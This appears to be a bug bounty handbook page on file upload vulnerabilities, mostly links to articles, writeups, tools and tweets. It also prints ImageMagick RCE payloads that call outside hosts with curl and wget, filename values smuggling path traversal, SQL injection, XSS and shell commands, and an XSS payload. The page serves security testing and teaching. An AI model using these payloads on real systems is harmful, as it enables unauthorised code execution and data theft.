> For the complete documentation index, see [llms.txt](https://gowthams.gitbook.io/bughunter-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gowthams.gitbook.io/bughunter-handbook/list-of-vulnerabilities-bugs/file-upload.md).

# File Upload

**Blogs / Articles:**

* <https://anotherhackerblog.com/exploiting-file-uploads-pt-2/>
* <https://anotherhackerblog.com/exploiting-file-uploads-pt1/>
* <https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437>
* <https://infosecwriteups.com/bragging-rights-killing-file-uploads-softly-fba35a4e485a>
* <https://blog.yeswehack.com/yeswerhackers/exploitation/file-upload-attacks-part-1/>
* <https://infosecwriteups.com/bragging-rights-killing-file-uploads-softly-fba35a4e485a>
* <https://blog.yeswehack.com/yeswerhackers/file-upload-attacks-part-2/>
* <https://0xn3va.gitbook.io/cheat-sheets/web-application/file-upload-vulnerabilities>

**Writeups:**

* [https://link.medium.com/sILCWr8xB3](https://t.co/nHvvd7QwpJ?amp=1)&#x20;
* [https://link.medium.com/V8SdaJ8xB3](https://t.co/4YlKwoqEaN?amp=1)&#x20;
* [https://link.medium.com/fRfag0byB3](https://t.co/PCDbm9j1jo?amp=1)&#x20;
* [https://link.medium.com/6qTQZwayB3](https://t.co/qIZXqoygYJ?amp=1)&#x20;
* [https://link.medium.com/jFGhtvbyB3](https://t.co/2WciQWCzxc?amp=1)

**Tools:**

* Burp Suite Extension - [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
* <https://github.com/almandin/fuxploider>
* <https://github.com/ptoomey3/evilarc>

**Cheatsheets:**

**Payloads:**

* [**https://github.com/daffainfo/AllAboutBugBounty/blob/master/BypassFileUpload.md**](https://github.com/daffainfo/AllAboutBugBounty/blob/master/BypassFileUpload.md)

Imagemagick RCE:

```
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl${IFS}zero-way.net/cc`id`) currentdevice 
putdeviceprops


%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%wget http://https://helloworld.free.beeceptor.com) currentdevice 
putdeviceprops
```

**Tweets:**

{% embed url="<https://twitter.com/infosecsanyam/status/1339481832451092480?s=20>" %}

{% embed url="<https://twitter.com/pwntheweb/status/1258628238655598592>" %}

![](/files/-MWFYq7Z6uXKarnYbPtk)

![https://twitter.com/hunter0x7/status/1346397333072846848?s=20](/files/-MWFbubQYzLTvqMW7pzK)

![https://twitter.com/HolyBugx/status/1348928810620743682?s=20](/files/-MWFf44fOp1lRmhvpDEK)

{% embed url="<https://twitter.com/debangshu_kundu/status/1361298477783805952?s=20>" %}

{% embed url="<https://twitter.com/pdp/status/1360279231851290626>" %}

```
Chaining file uploads with other vulns:-

 Set filename to:- 

> ../../../tmp/lol.png for path traversals
> sleep(10)-- -.jpg for SQLi.
> <svg onload=alert(document.comain)>.jpg/png for xss
> ; sleep 10; for command injections

```

{% embed url="<https://twitter.com/reewardius/status/1388020553332580354>" %}

Bug: XSS through file upload.

```
Payload: */alert(1)</script><script>/*
```

{% embed url="<https://twitter.com/hackerscrolls/status/1404367003914321920?s=20>" %}

{% embed url="<https://twitter.com/pdp/status/1360279231851290626?s=20>" %}

{% embed url="<https://twitter.com/impratikdabhi/status/1406329157269659648?s=20>" %}

{% embed url="<https://www.onsecurity.io/blog/file-upload-checklist>" %}

{% embed url="<https://twitter.com/hakluke/status/1458388213223940100?s=20>" %}

{% embed url="<https://twitter.com/naman_1910/status/1444197532624572420>" %}